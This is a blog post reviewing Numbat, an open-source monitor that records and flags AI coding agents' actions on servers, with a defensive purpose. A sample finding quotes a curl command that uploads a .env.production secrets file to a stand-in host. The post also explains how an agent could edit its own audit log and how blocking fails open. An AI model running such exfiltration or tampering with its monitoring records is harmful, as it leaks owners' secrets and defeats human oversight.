Numbat: watch what your AI agents do
Perplexity open sourced Numbat, an endpoint monitor that records what AI coding agents really do on your servers. What it sees, and what it cannot stop.
What Numbat is
Numbat gives you visibility into what an AI agent did on a machine you own. It reads the hook callbacks and session files that coding agents already produce, normalises them into one event format, and matches them against rules that fire on behaviour like reading an SSH private key or piping a download straight into a shell. Perplexity released it as open source under Apache 2.0, with the first tagged release on 29 July 2026.
Everything below comes from the project's repository and its own documentation, read on 2 August 2026. Where Perplexity makes a claim, this post says so. This is not an install tutorial, because the repository is days old and its commands will change.
The problem: nobody writes down what the agent did
A coding agent on your VPS runs shell commands, reads files, writes files and opens network connections, all as the user you handed it. Your shell history does not record any of that, because the agent is not typing into your shell. sshd logs your login and nothing the model decided to do afterwards. /var/log/auth.log stays quiet unless something reached for sudo. The agent keeps its own transcript, but that file sits in the agent's session directory, its format changes between releases, and the agent's own process can write to it.
So when someone asks whether the agent read .env.production last Tuesday, the honest answer on most servers is that you cannot tell. That gap is the reason this project exists.
What Perplexity claims Numbat does
The README opens by describing the tool as "endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction". Endpoint here means the machine the agent runs on, not a network appliance watching from outside. Those are separate capabilities, and they carry different weight.
Detection runs on the device. Rules are written in CEL (common expression language) and evaluated locally, with multi-step sequence rules on top and support for your own rules in YAML. Nothing has to leave the machine for a rule to fire.
Blocking is optional and narrow. It works only through synchronous pre-action hooks, on the agents that expose one, and it is off until you turn it on.
Reconstruction happens after the fact. numbat scan parses session artifacts an agent already wrote to disk, so you can look at activity from before you installed anything. The project is careful to bound that claim: "At-rest reconstruction is not disk or memory acquisition and cannot recover activity an agent did not persist."
Output is versioned NDJSON (newline delimited JSON) covering events, findings, enforcement decisions, indicators and scan summaries, at schema version 0.2.0 as of v0.1.2. Records go to stdout or a local file, and optionally over HTTP to a collector you run. It ships as one static Go binary built without cgo, for macOS, Linux and Windows on amd64 and arm64, so on a Linux VPS it is a single file with no runtime to install first.
Which agents can Numbat actually see?
The coverage matrix in docs/agent-coverage.md is the authoritative list, and it is uneven. The project says so plainly instead of hiding it. Claude Code, Codex, Gemini CLI, Cursor and GitHub Copilot CLI have both artifact scanning and live capture with a pre-action hook. OpenClaw gets a native plugin from version 2026.7.1 onward. A long tail of entries is marked deferred, which means a live hook path exists but the artifact parser does not, often because that agent stores its history in SQLite with a write-ahead log that is not safe to read while the agent is running. OpenCode and Cline sat in that group when the matrix was read on 2 August 2026.
Check the row for your agent before you plan anything around this tool, because "supported" means something different on almost every line.
What a detection looks like
Rules carry ids that tell you what they are for. secrets.read_private_key covers an SSH key, AWS credentials, a kube config or a package registry login. exec.download_pipe_shell fires when curl or wget output is piped into an interpreter. privilege.elevated_shell catches a request for an interactive root shell through sudo, doas, su or pkexec. impact.cryptomining_launch matches known miner binaries and image names.
Sequence rules join events inside one session. chain.secret_read_then_egress needs a secret file read followed by a command that carries data outward. The README publishes the finding below from a controlled replay of two Claude Code pre-action callbacks, not from a live incident. It is trimmed here to the fields that matter:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Note "confidence": "medium" sitting inside the record, and note what the project says about the whole class of output: "Findings are rule matches, not proof of compromise." A deploy script that reads a key and then uploads a build artifact will match that same sequence rule. The match is correct and the alarm is wrong, which is the normal state of every detection tool you have ever run.
Blocking is off by default, and it fails open
Every rule Numbat ships is monitor only. Turning one into a block is deliberate work: copy the rule's complete YAML into your own directory, keep the same id, add enforce: true, bump the version, then validate and install that policy.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceNow the part that decides how much you should trust it. Numbat's deny is a response handed back to the agent, and the agent is the thing that actually refuses the tool call. The enforcement guide is direct about what happens when Numbat itself has a problem: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input is capped at 4 MiB, and oversized input takes the same path.
The guide is equally direct about the limit of a deny that does land: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."
So enforcement here is a guardrail, not a boundary. If the process crashes, the action is not blocked by Numbat, because a monitor that freezes your agent every time it has a bad day gets uninstalled inside a week. The trade is reasonable. Just do not build a security model that assumes the deny always arrives.
Where Numbat fits next to what you already do
Numbat runs on the endpoint, inside the agent's own process tree, and writes to ~/.numbat/records.ndjson by default. An agent running as your user can read that file. It can also edit it. The audit trail is worth exactly as much as the isolation around it, which puts every control you already have in front of this one rather than behind it.
Giving the coding agent a disposable VM bounds what a bad run can reach. A least privilege user on the VPS keeps the agent out of files it has no business opening. Keeping credentials out of the agent's context is what makes a secrets.read_private_key match rare enough to be worth reading when it fires. And the sandbox you set up for Claude Code on a VPS is still the thing doing the containment.
What Numbat adds is the record, so send the record somewhere the agent cannot reach. numbat ship and the HTTP sink exist for that. A copy of the stream on a second machine is the difference between a log file and evidence. The event model also carries MCP (model context protocol) fields, so tool calls that leave through an MCP server you host on a VPS land in the same stream as local shell commands, which matters because that path is invisible to anything watching only bash.
Try it read-only first
Install a pinned version. Go 1.26.5 or newer is required for go install, and the releases page carries prebuilt binaries with SHA-256 checksums if you would rather not build from source.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents discovers agents installed on the box. numbat scan parses the session artifacts already on disk and prints records. The README states that these commands "do not install hooks or change agent configuration", and that numbat "never executes agents or commands found in artifacts, and it makes outbound requests only to configured HTTP sinks". Scanning is read-only with secret redaction, and normal record output never includes a complete raw transcript.
Live capture is the next step, and it does change agent configuration:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all writes events, findings, indicators and applicable enforcement decisions to ~/.numbat/records.ndjson. Two cautions come straight from the project. Hooks may need to be trusted inside the agent before they run at all, and that trust has to be reviewed again after you change flags such as --enforce. And hook status "verifies configuration, not execution or delivery", so a healthy status line is not proof that records are arriving anywhere.
Why a repository this new is not a dependency
The public releases are v0.1.1 on 29 July 2026 and v0.1.2 on 1 August 2026. The repository had 597 stars when this post was written on 2 August 2026. Numbers that fast reflect Perplexity's audience, not how well the code holds up. A star means someone saved the page to look at later.
The version number is honest about where this sits. The v0.1.2 notes are mostly credential redaction fixes, plus case bundle and telemetry normalisation work. Redaction bugs are the expected shape of early defects in a tool whose job is to read other programs' transcripts safely, and there will be more of them, because the inputs come from a dozen agents that each change their format on their own schedule.
Two practical rules follow. Pin the tag, never @latest, in anything you keep. And treat it as an instrument you are evaluating rather than a control you depend on, at least until the record schema stops moving.
FAQ
Does Numbat block dangerous AI agent commands?
Only if you opt in, and only on a best effort basis. Every rule Numbat ships is monitor only. To block, you copy the rule's YAML into your own directory, keep its id, add enforce: true, bump the version, and install the hook with --enforce. Even then the deny is a response passed back to the agent, and the agent is what refuses the call. The project documents fail-open behaviour: malformed payloads, evaluation errors, panics and output failures all suppress the deny. Use it as a guardrail, not as your only boundary.
Which AI agents does Numbat support?
Coverage differs per agent and is listed in docs/agent-coverage.md in the repository. Claude Code, Codex, Gemini CLI, Cursor and GitHub Copilot CLI had both artifact scanning and live capture when that page was read on 2 August 2026, and OpenClaw has a native plugin from version 2026.7.1. Many other agents are listed with a live hook path but no artifact parser yet, usually because their session history sits in a SQLite database that is not safe to read while the agent is running. Read the row for your agent, because the word "supported" covers several different levels there.
Can the agent tamper with Numbat's records?
Yes, if it runs as the same user. Records default to ~/.numbat/records.ndjson on the same machine as the agent, so anything with write access to that path can change or delete them. Ship the stream to a collector the agent cannot reach, with numbat ship or the HTTP sink, and keep the local file as a convenience copy. This is also why the tool complements isolation instead of replacing it. An agent confined to a disposable VM under a least privilege user has far less reach over its own audit trail.
Is Numbat ready for a production server?
Not as a control you depend on. The first public release was v0.1.1 on 29 July 2026 and v0.1.2 followed on 1 August 2026, so the flags and the record schema are both still moving. Running numbat agents and numbat scan on a box is read-only and low risk, and it will tell you what your agents have been leaving on disk. Installing enforcement hooks on a server that matters is a different decision, and it deserves a pinned tag and a plan for what happens when the hook misbehaves.